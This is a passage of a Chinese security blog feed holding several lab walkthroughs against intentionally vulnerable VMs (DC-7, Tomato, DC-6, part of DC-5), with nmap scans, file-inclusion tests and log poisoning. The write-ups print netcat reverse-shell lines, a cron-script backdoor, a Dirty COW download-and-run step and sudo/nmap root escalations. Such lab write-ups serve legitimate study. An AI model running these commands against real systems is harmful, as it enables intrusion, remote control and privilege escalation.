lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/f7f8727f95d649b5bca713e75e1db8be.png"                                     ></p><p>再回去artical编辑那里，发现文本形式可以选择php了</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/ee9e8fea07fb42128e4f4bb001d1d290.png"                                     ></p><p>写入一句话木马</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/bee49018ff0143198ee0c3a404ffa0a8.png"                                     ></p><p>保存</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/2f27e0c3269643bfaeb0e8ec33e95d7e.png"                                     ></p><p>蚁剑成功连接</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/90ae96530b45414283fa08f1a0398762.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/3d7eaa7f02aa43f5a3ec9ccde3896d15.png"                                     ></p><p><strong>建立反弹shell</strong></p><p><code>kali:nc -lvnp 1234</code></p><p><code>&lt;strong&gt;虚拟终端：&lt;/strong&gt;nc -e /bin/bash 192.168.145.128 1234</code></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/470e28979cd74d1c934fd5f5d5194d60.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/eb810b4142c641119cd735ecb2983192.png"                                     ></p><p>然后我们将一段能建立 <strong>反向Shell</strong>的代码追加到 <code>/opt/scripts/backups.sh</code> 文件中，等cron以 <strong>root权限</strong>执行该脚本时，就能获得一个root shell</p><p>echo “rm &#x2F;tmp&#x2F;f;mkfifo &#x2F;tmp&#x2F;f;cat &#x2F;tmp&#x2F;f|&#x2F;bin&#x2F;sh -i 2&gt;&amp;1|nc 192.168.145.128 5555 &gt;&#x2F;tmp&#x2F;f” &gt;&gt; &#x2F;opt&#x2F;scripts&#x2F;backups.sh</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">rm /tmp/f;                    # 删除旧的管道文件（如果存在）</span><br><span class="line">mkfifo /tmp/f;                # 创建命名管道文件 /tmp/f</span><br><span class="line">cat /tmp/f |                  # 读取管道内容</span><br><span class="line">/bin/sh -i 2&gt;&amp;1 |             # 启动交互式shell，并将错误输出重定向到标准输出</span><br><span class="line">nc 192.168.145.128 5555 &gt; /tmp/f  # 连接到攻击者机器(192.168.145.128:5555)，并将接收到的数据写入管道</span><br></pre></td></tr></table></figure></div><p>等待root执行定时任务</p><p><strong>kali监听</strong>： <code>nc -lvnp 5555</code></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/6339c475b3f645db9ea6acde7411476e.png"                                     ></p><p>完结撒花！！</p><section class="related-posts-custom" aria-labelledby="related-posts-title"><h2 id="related-posts-title">相关文章</h2><div class="related-posts-list"><a class="related-post-card" href="/2025/06/05/DVWA-CSP-Bypass/"><strong>DVWA CSP Bypass：策略配置、信任边界与绕过条件</strong><span>通过 DVWA 授权环境分析 CSP 配置与绕过条件，说明宽泛来源、内联脚本和受信任端点如何削弱策略，并总结安全配置方法。</span></a><a class="related-post-card" href="/2025/05/30/DVWA-CSRF防护差异/"><strong>DVWA CSRF：不同安全等级下的防护差异</strong><span>基于 DVWA 授权环境比较不同安全等级下的 CSRF 行为，从请求构造、令牌校验和来源限制三个角度理解漏洞与防护。</span></a></div></section>]]>
    </content>
    <id>https://leeei.site/2026/02/05/dc7%E6%89%93%E9%9D%B6%E6%8A%A5%E5%91%8A/</id>
    <link href="https://leeei.site/2026/02/05/dc7%E6%89%93%E9%9D%B6%E6%8A%A5%E5%91%8A/"/>
    <published>2026-02-04T19:02:10.767Z</published>
    <summary>记录 DC-7 靶机从端口与 Drupal 信息收集、内容管理入口利用，到凭据发现、定时任务分析和本地提权的完整复现过程。</summary>
    <title>dc7打靶报告</title>
    <updated>2026-02-04T19:02:10.767Z</updated>
  </entry>
  <entry>
    <author>
      <name>lee</name>
    </author>
    <category term="靶场复现" scheme="https://leeei.site/categories/%E9%9D%B6%E5%9C%BA%E5%A4%8D%E7%8E%B0/"/>
    <category term="Linux" scheme="https://leeei.site/tags/Linux/"/>
    <category term="Tomato靶场" scheme="https://leeei.site/tags/Tomato%E9%9D%B6%E5%9C%BA/"/>
    <category term="渗透测试" scheme="https://leeei.site/tags/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    <content>
      <![CDATA[<p>一：环境：</p><p>攻击机：kali：192.168.145.128</p><p>靶机：tomato：192.168.145.182</p><p>工具：</p><p>二：渗透过程</p><p>arp-scan -l扫一下，发现疑似靶机 ip 192.168.145.182</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/8679af6422c5491eb7cb7ce7ca9b71b4.png"                                     >简单扫一下，观察开放端口，确定该ip是攻击目标</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/7e2b7087a6e54fa1b2a64294975864f8.png"                                     ></p><p>注意：这个命令后面对应的SERVE只是对应nmap内部的服务映射表，并不一定是攻击目标的端口服务</p><p>所以我们再侵略性扫一下</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/d6f1ecd293474221956a579d565eeaf0.png"                                     ></p><p>看回显，分析一下得到的信息：</p><p>目标为Linux，内核版本号是3.2-4.9</p><p>22端口——对应ftp（文件传输协议），可以尝试匿名登录</p><p>80与8888端口——对应http协议，一个apache一个linux</p><p>2211端口——对应ssh远程连接协议</p><p>先尝试一下ftp匿名登录</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ftp 192.168.145.182</span><br></pre></td></tr></table></figure></div><p>这里我尝试了annoymous,tomato,admin几个常见的name，包括hydra爆破前1000个名字都以失败告终</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/f733979ed2604a329c92c8e07021f7ec.png"                                     ></p><p>换方法，去火狐里尝试走http</p><p>80出来一个large tomato</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/6277610d3d00435b9a72fdd984c40267.png"                                     ></p><p>88出现一个登录页面</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/0dcd7aae02d6408584547a0e4c7d9eea.png"                                     ></p><p>感觉都无法利用，于是dirb扫一下目录，看有没有可以用的子url</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/b43dc57a57414863b8018b14f97f3810.png"                                     ></p><p>发现3个，依次访问一下，第一个发现信息回显，第二个还是large tomato，第三个403(服务器理解请求，但拒绝授权——权限不足)</p><p>第一个链接是返回父目录链接</p><p>第二个是文件夹，我们点开看看</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/b195ce9a144d47829c64bfb5717e096e.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/64e4b5d578cc4afcb43b43c43ee92c13.png"                                     ></p><p>info.php ← 显示PHP&#x2F;服务器信息</p><p>phpinfo.php ← 同上</p><p>debug.php ← 调试功能，可能有敏感输出</p><p>点进去看，的确回显了php信息，查看一下页面源码，源码提示我们存在一个文件包含漏洞(很像动态一句话木马)，并且include里面通过get传参</p><p>ps：服务器会把我们包含的任何文件作为php代码执行，如果包含有效的代码，执行并返回结果，如果不是php代码，就直接回显文件内容</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/8bd0007075e440c591f9d4f834b9e7c6.png"                                     ></p><p>再确定一下：</p><p>在url后面令?image&#x3D;..&#x2F;..&#x2F;..&#x2F;..&#x2F;..&#x2F;etc&#x2F;passwd（注意：..&#x2F;从3个到6个递增尝试看是否有回显）</p><p>成功得到了有tomato的用户名列表：表示一个普通用户 tomato，UID&#x3D;1000，有 bash 登录权限</p><p>ps：这里可以看到后面还有两个sshd和ftp用户，都是服务账户，无法登录</p><p>所以我们现在确定了有文件包含漏洞，并且得到了我们下一步攻击要用的用户名——tomato</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/9f4b57d199de4d9e9b22fca5444825b3.png"                                     ></p><p>梳理一下攻击流程：我们现在已经能用文件包含漏洞有限访问一些配置文件了，下一步尝试用这个漏洞完全操控靶机</p><p>也就是尝试获得一个shell，进而用python语句形成交互型shell</p><p>也就是上传木马，通过url查看&#x2F;var&#x2F;log&#x2F;auth.log文件，发现有回显，所以我们可以产生通过报错把木马写入日志文件里</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/dc11882dac1a4cbf8a3d7b5f4b4fd564.png"                                     ></p><p>尝试远程连接报错</p><p>回到kali靶机，通过2211端口ssh一句话木马</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/e627f13eb39849f690698cbcda78e81a.png"                                     ></p><p>去我们主机的powershell看一眼具体报错，报的是引用变量的错</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/774dfc9efd314b70a2f06ace44b60300.png"                                     ></p><p>刷新日志看看有没有写进去</p><p>换种方法：使用 -l 参数指定用户名</p><h4 id="ssh-l-‘-‘-192-168-145-182-p-2211"><a href="#ssh-l-‘-‘-192-168-145-182-p-2211" class="headerlink" title="ssh -l ‘ ‘ 192.168.145.182 -p 2211"></a>ssh -l ‘ ‘ 192.168.145.182 -p 2211</h4><p>成功了</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/2e6a4e4ed46645029d724e28c13912f1.png"                                     ></p><p>随便输点密码，刷新日志，看到报错回显<img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/b1d0e81442e442a09c6c09e6783adbae.png"                                     ></p><p>蚁剑连一下日志试试</p><p>连接成功</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/41fb92feae304d028c958b279e74aea2.png"                                     ></p><p>添加后打开虚拟终端，分析回显</p><ul><li>内核： <code>4.4.0-21-generic</code>（2016年Ubuntu）</li><li>用户： <code>www-data</code>（低权限）</li><li>已知用户： <code>tomato</code>（UID 1000）<img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/340e1328aba24afcaa7e7d7f2c519914.png"                                     ></li></ul><p>所以下一步就是建立稳定的反弹shell，和提权</p><p>反弹shell的建立：</p><p>现在kali里面随便找个每用的端口开开，我开了1234</p><ul><li>**<code>nc</code>**：netcat 工具</li><li>**<code>-l</code>**：监听模式（listen）</li><li>**<code>-v</code>**：详细输出（verbose），显示连接信息</li><li>**<code>-n</code>**：不进行 DNS 解析，直接使用 IP</li><li>**<code>-p 1234</code>**：指定监听端口为 1234</li></ul><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/e1048bb02dff4d4ebef5b72248a8978c.png"                                     ></p><p>bash反弹：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/38c848b304664e799bb3bfd9be0f3c24.png"                                     ></p><p>连接成功</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/13957e90b55d4d8aaea147dd92a9fd2d.png"                                     ></p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">继续到tmp目录</span><br><span class="line">cd /tmp</span><br><span class="line">wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh</span><br><span class="line">chmod +x les.sh</span><br><span class="line">./les.sh</span><br></pre></td></tr></table></figure></div><p>看开头爆出来的几个CVE漏洞，我们尝试第一个脏牛</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/f952931802724b2ea0180803b4a091d8.png"                                     ></p><p>执行试试</p><h1 id="Kali下载编译（用不同exp）"><a href="#Kali下载编译（用不同exp）" class="headerlink" title="Kali下载编译（用不同exp）"></a>Kali下载编译（用不同exp）</h1><p>cd &#x2F;tmp<br>wget <a class="link"   href="https://www.exploit-db.com/download/40616" >https://www.exploit-db.com/download/40616<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a> -O dirty_simple.c<br>gcc dirty_simple.c -o dirty_simple -static -pthread -lcrypt<br>python3 -m http.server 8081</p><h1 id="目标机"><a href="#目标机" class="headerlink" title="目标机"></a>目标机</h1><p>cd &#x2F;tmp<br>wget <a class="link"   href="http://192.168.145.128:8081/dirty_simple" >http://192.168.145.128:8081/dirty_simple<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a><br>chmod +x dirty_simple<br>.&#x2F;dirty_simple</p><p>提权成功<img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/aab45ca55edc45ef8106e6bbdced7ab1.png"                                     ></p><section class="related-posts-custom" aria-labelledby="related-posts-title"><h2 id="related-posts-title">相关文章</h2><div class="related-posts-list"><a class="related-post-card" href="/2025/06/05/DVWA-CSP-Bypass/"><strong>DVWA CSP Bypass：策略配置、信任边界与绕过条件</strong><span>通过 DVWA 授权环境分析 CSP 配置与绕过条件，说明宽泛来源、内联脚本和受信任端点如何削弱策略，并总结安全配置方法。</span></a><a class="related-post-card" href="/2025/05/30/DVWA-CSRF防护差异/"><strong>DVWA CSRF：不同安全等级下的防护差异</strong><span>基于 DVWA 授权环境比较不同安全等级下的 CSRF 行为，从请求构造、令牌校验和来源限制三个角度理解漏洞与防护。</span></a></div></section>]]>
    </content>
    <id>https://leeei.site/2026/01/28/tomato%E9%9D%B6%E6%9C%BAwp/</id>
    <link href="https://leeei.site/2026/01/28/tomato%E9%9D%B6%E6%9C%BAwp/"/>
    <published>2026-01-27T23:32:27.482Z</published>
    <summary>记录 Tomato 靶机的端口与服务识别、FTP 枚举、文件包含、SSH 登录和本地提权过程，并说明关键扫描结果的判断方法。</summary>
    <title>tomato渗透报告</title>
    <updated>2026-01-27T23:32:27.482Z</updated>
  </entry>
  <entry>
    <author>
      <name>lee</name>
    </author>
    <category term="靶场复现" scheme="https://leeei.site/categories/%E9%9D%B6%E5%9C%BA%E5%A4%8D%E7%8E%B0/"/>
    <category term="命令注入" scheme="https://leeei.site/tags/%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5/"/>
    <category term="DC靶场" scheme="https://leeei.site/tags/DC%E9%9D%B6%E5%9C%BA/"/>
    <category term="Linux" scheme="https://leeei.site/tags/Linux/"/>
    <content>
      <![CDATA[<p>环境：kali ip：192.168.145.128</p><p><code>arp-scan -l</code> 发现存活靶机IP： <code>192.168.145.188</code></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/85e9c276968d49dda259954d777dcd96.png"                                     ></p><p><code>nmap -A -sV -p- 192.168.145.188</code> 扫描端口</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/c75943a607ca4ed896c3fca532529655.png"                                     ></p><p>发现开放端口：22（SSH）、80（HTTP），并提示域名 <code>wordy</code></p><p><strong>然后进行域名解析</strong>，因为80端口重定向到 <code>http://wordy</code>，需本地解析</p><p><code>vim /etc/hosts</code> 添加： <code>192.168.145.188 wordy</code></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/4a72de19ecb74c52abaef7eacaa512cf.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/96d5cfe79e374d3ca0b59a4732ef35d4.png"                                     ></p><p>whatweb扫一下确定cms是wordpress</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/5165ec2966444045b9470735a8de716a.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/9b14c4c4e39f452ab66b7e427fbf16db.png"                                     ></p><p>然后进行 <strong>信息收集</strong></p><p>wpscan –url <a class="link"   href="http://wordy/" >http://wordy<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a> –enumerate u –no-update</p><p>得到用户表</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/e6beaf0da43e4b7481e31d2d2fab819f.png"                                     ></p><p><code>admin</code>, <code>mark</code>, <code>graham</code>, <code>sarah</code>, <code>jens</code></p><p><code>官网有个小提示</code></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/21e757da46e84752b206e939a5b5414a.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/cd57cbe325b74f6a99283e918087daeb.png"                                     ></p><p><code>cat /usr/share/wordlists/rockyou.txt | grep k01 &gt; ps.txt</code></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/61a961cfae41422dbcba4a58933e81a6.png"                                     ></p><p>生成密码文件 <code>password.txt</code></p><p>然后创建一个user列表文件，把刚刚我们扫到的用户名存进去</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/dc7e51fa173349d9bdda718fbd27f23f.png"                                     ><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/96675a66c39341fb80125c8da5161320.png"                                     ></p><p>开始爆破</p><p><code>wpscan --url http://wordy -U user.txt -P ps.txt</code></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/ecdfa32c5c7644cf8a267bd6b2e4ec1a.png"                                     ></p><p>得到一组结果： <code>mark:helpdesk01</code></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/e3a1940e39774cf1993d8ee675c00264.png"                                     ></p><p>登陆成功</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/735ab138017d40529d399868e33b0c42.png"                                     ></p><p>发现一个Activity on Wordy插件</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/e86e85da2b204fee8ab73cf5f5aa320c.png"                                     ></p><p><strong>百度一下发现</strong>Activity Monitor插件存在命令注入，searchsploit扫一下看有没有执行脚本</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/6fb0d46cfdcb41c3a7d07f621a0885b0.png"                                     ></p><p><code>45274.html，html程序运行更简单，先试试这个</code></p><p>Kali监听： <code>nc -lvnp 1234</code></p><p>修改脚本中几个地方——靶机地址，攻击ip，攻击机开放端口</p><p>Kali监听： <code>nc -lvnp 4443</code></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/2e0dcf28ff1942bb8ec7fa3e38bee7d1.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/3f91895123eb4f6b9bd6efa1a5ccb3b0.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/d4fe1d0a9efd40fa90ade86b1839491d.png"                                     ></p><p>浏览器打开45274.html并提交，获得反向Shell</p><p>file:&#x2F;&#x2F;&#x2F;tmp&#x2F;45274.html</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/9e70569ea3ff48d19be263181c25bd10.png"                                     ></p><p><strong>权限提升（横向移动）——先</strong>从mark用户提权至其他用户</p><p>python伪终端</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/df9e9c85e4da4525b418bed3446ac0ad.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/8f75b470dbc44e23a8a3b8bea02cb85d.png"                                     ></p><p>在&#x2F;home&#x2F;mark目录发现文件： <code>/home/mark/things-to-do.txt</code></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/5b8ce21dff2e4a79a85fc066c933ae25.png"                                     ></p><p>得到一组密码信息，graham密码： <code>GSo7isUM1D4</code></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/71f7ad9a83324ae4854290dfa6b9d6ec.png"                                     ></p><p>SSH登录： <code>ssh graham@192.168.145.188</code></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/6b2a6a29e99849c7a3319358d0e713ff.png"                                     ></p><p><strong>继续权限提升（纵向提权）</strong>——从graham提权至root</p><p><code>sudo -l</code> 发现jens可执行 <code>/home/jens/backups.sh</code></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/3c8d2d0de85841d5b55068f0ad015e01.png"                                     ></p><p>向backups.sh注入命令：</p><p><code>echo &#39;/bin/bash&#39; &gt;&gt; /home/jens/backups.sh</code></p><p>切换用户： <code>sudo -u jens ./backups.sh</code> → 获得jens Shell</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/1965cb0a1c084aceb437cd75e2864eed.png"                                     ></p><p><code>sudo -l</code> 发现jens可执行nmap</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/d9473335932e4e1d84844332eef5bd97.png"                                     ></p><p>创建恶意nse脚本： <code>echo &#39;os.execute(&quot;/bin/sh&quot;)&#39; &gt; kali.nse</code></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/73f302f61a164e81a0f80a391ead1a92.png"                                     ></p><p><code>sudo nmap --script=kali.nse</code> → 获得root Shell</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/4b5d15d502444af48d72efb62bb250fc.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/dc2f529c6fae4bca8cb111f9f575c00b.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/2e61a94c8c2a4ff1a6dfdc068bfc390f.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/6378022e3a41458b9f95ee4ea13c18a0.png"                                     ></p><p>完结撒花！！！！！</p><section class="related-posts-custom" aria-labelledby="related-posts-title"><h2 id="related-posts-title">相关文章</h2><div class="related-posts-list"><a class="related-post-card" href="/2025/06/05/DVWA-CSP-Bypass/"><strong>DVWA CSP Bypass：策略配置、信任边界与绕过条件</strong><span>通过 DVWA 授权环境分析 CSP 配置与绕过条件，说明宽泛来源、内联脚本和受信任端点如何削弱策略，并总结安全配置方法。</span></a><a class="related-post-card" href="/2025/05/30/DVWA-CSRF防护差异/"><strong>DVWA CSRF：不同安全等级下的防护差异</strong><span>基于 DVWA 授权环境比较不同安全等级下的 CSRF 行为，从请求构造、令牌校验和来源限制三个角度理解漏洞与防护。</span></a></div></section>]]>
    </content>
    <id>https://leeei.site/2026/01/28/dc%E7%B3%BB%E5%88%97%E2%80%94%E2%80%94dc6/</id>
    <link href="https://leeei.site/2026/01/28/dc%E7%B3%BB%E5%88%97%E2%80%94%E2%80%94dc6/"/>
    <published>2026-01-27T23:31:22.932Z</published>
    <summary>记录 DC-6 靶机的 WordPress 信息收集、Activity Monitor 命令注入利用、多用户横向切换及 nmap 提权过程。</summary>
    <title>dc6打靶报告</title>
    <updated>2026-01-27T23:31:22.932Z</updated>
  </entry>
  <entry>
    <author>
      <name>lee</name>
    </author>
    <category term="靶场复现" scheme="https://leeei.site/categories/%E9%9D%B6%E5%9C%BA%E5%A4%8D%E7%8E%B0/"/>
    <category term="文件包含" scheme="https://leeei.site/tags/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/"/>
    <category term="DC靶场" scheme="https://leeei.site/tags/DC%E9%9D%B6%E5%9C%BA/"/>
    <category term="Linux" scheme="https://leeei.site/tags/Linux/"/>
    <content>
      <![CDATA[<h4 id="信息收集："><a href="#信息收集：" class="headerlink" title="信息收集："></a>信息收集：</h4><p>arp-scan -l扫</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/a84d5e4e535647d5883b071fdcd98a54.png"                                     ></p><p>nmap扫</p><p>分析回显，我们可以看到操作系统是linux3-4的，开了三个端口</p><p>80：http协议，nigux1.6.2的服务</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/8ae0a35227194852add7b195210bb1e3.png"                                     ></p><h4 id="看80端口"><a href="#看80端口" class="headerlink" title="看80端口"></a>看80端口</h4><p><code>http://192.168.145.187</code></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/3d66ce7c7489442ca5e47d92b1b80f4f.png"                                     ></p><p>点击 <code>Contact</code> 页面提交表单，会跳转到 <code>thankyou.php</code></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/9f8458556e0d4b708c172a162f668915.png"                                     ></p><p>可以看到url中 <code>thankyou.php</code> 后面包含了firstname,lastname,cuntry等参数，我们试一下写入可 <code>file</code> 参数，看是否存在文件包含</p><p>在?file&#x3D;后面尝试读取系统文件：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://192.168.145.187/thankyou.php?file=/etc/passwd</span><br></pre></td></tr></table></figure></div><p>如果成功显示用户列表，则证实存在 <strong>本地文件包含（LFI）</strong>漏洞。</p><p>再刷新一遍，bp抓包，看到我们刚才测试的文件路径，把这个改成一句话木马</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/27ce9f2d8f044d39b69cfc1f4e5be866.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/6ad43408597c4ba8ba0b4fa1e33246ff.png"                                     ></p><p>forward放包，linux的报错日志常见路径是</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/var/log/nginx/error.log</span><br></pre></td></tr></table></figure></div><p>我们尝试访问一下，可以发现木马被成功写入</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/ab19d6e862f94c2e8f607d0643f6df36.png"                                     ></p><p>蚁剑连接，连接成功</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/4d5305402e8c431c9f37de89e9ce959f.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/574ed255ba974c7aa0cdb9c122aa5091.png"                                     ></p><p>用kali建立反弹shell</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/d2d1abb7ad63487cba09241c34ca224b.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/11bd5a9ad833472c9053f3c1a8d74dfc.png"                                     ></p><p>用python构造一个伪终端</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/841f1ddd9323458aa009ab146808277b.png"                                     ></p><p>这时候再kali的反弹shell里面检查suid程序</p><p>find &#x2F; -perm -u&#x3D;s -type f 2&gt;&#x2F;dev&#x2F;null</p><p>可以找到关键程序 &#x2F;usr&#x2F;bin&#x2F;screen-4.5.0</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/e4cebe451f3a4e6b83cf55cdb850a7f8.png"                                     ></p><p>查找漏洞，尝试第一个41154.sh脚本</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/8601c50bded84729bf2a26884cab1a29.png"                                     ></p><p>复制到kali终端的tmp文件下，保存整个脚本</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/df56d7a5cab943bba91ca8f8abc0ab33.png"                                     ></p><p>看看</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/2e44ca8f910d411a93ffef9647f429b8.png"                                     ></p><p>在kali上开启http服务</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/732dd4ba702746ffae628a27fd7d1c95.png"                                     ></p><p>在靶机的shell里下载exp脚本，给执行权限，.&#x2F;dc5.sh执行提权</p><p><img                       lazyload                     src="/images/loading.svg"                     